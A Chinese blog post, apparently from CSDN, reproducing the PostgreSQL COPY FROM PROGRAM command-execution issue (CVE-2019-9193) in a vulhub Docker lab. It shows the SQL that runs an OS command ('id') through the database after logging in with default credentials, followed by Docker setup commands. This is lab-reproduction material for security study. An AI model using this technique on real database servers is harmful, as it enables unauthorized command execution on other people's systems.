PostgreSQL 高权限命令执行漏洞（CVE-2019-9193）

最新推荐文章于 2023-08-23 00:27:03 发布

维梓-

最新推荐文章于 2023-08-23 00:27:03 发布

阅读量784

点赞数 1

分类专栏：中间件漏洞复现文章标签： sql 安全漏洞

本文链接：https://blog.csdn.net/zy15667076526/article/details/111824510

版权

164 篇文章 53 订阅

订阅专栏

好好学习，天天向上

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”，管理员或具有“COPY TO/FROM PROGRAM”权限的用户，可以使用这个特性执行任意命令。

9.3到11版本

这里使用10.7使用vulhub

/app/vulhub-master/postgres/CVE-2019-9193

使用docker启动

docker-compose build
docker-compose up -d

登录postgres，postgres/postgres

psql --host 192.168.239.129 --username postgres

执行如下语句，FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中：

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

在这里插入图片描述

关闭镜像（每次用完后关闭）

docker-compose down

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down

关注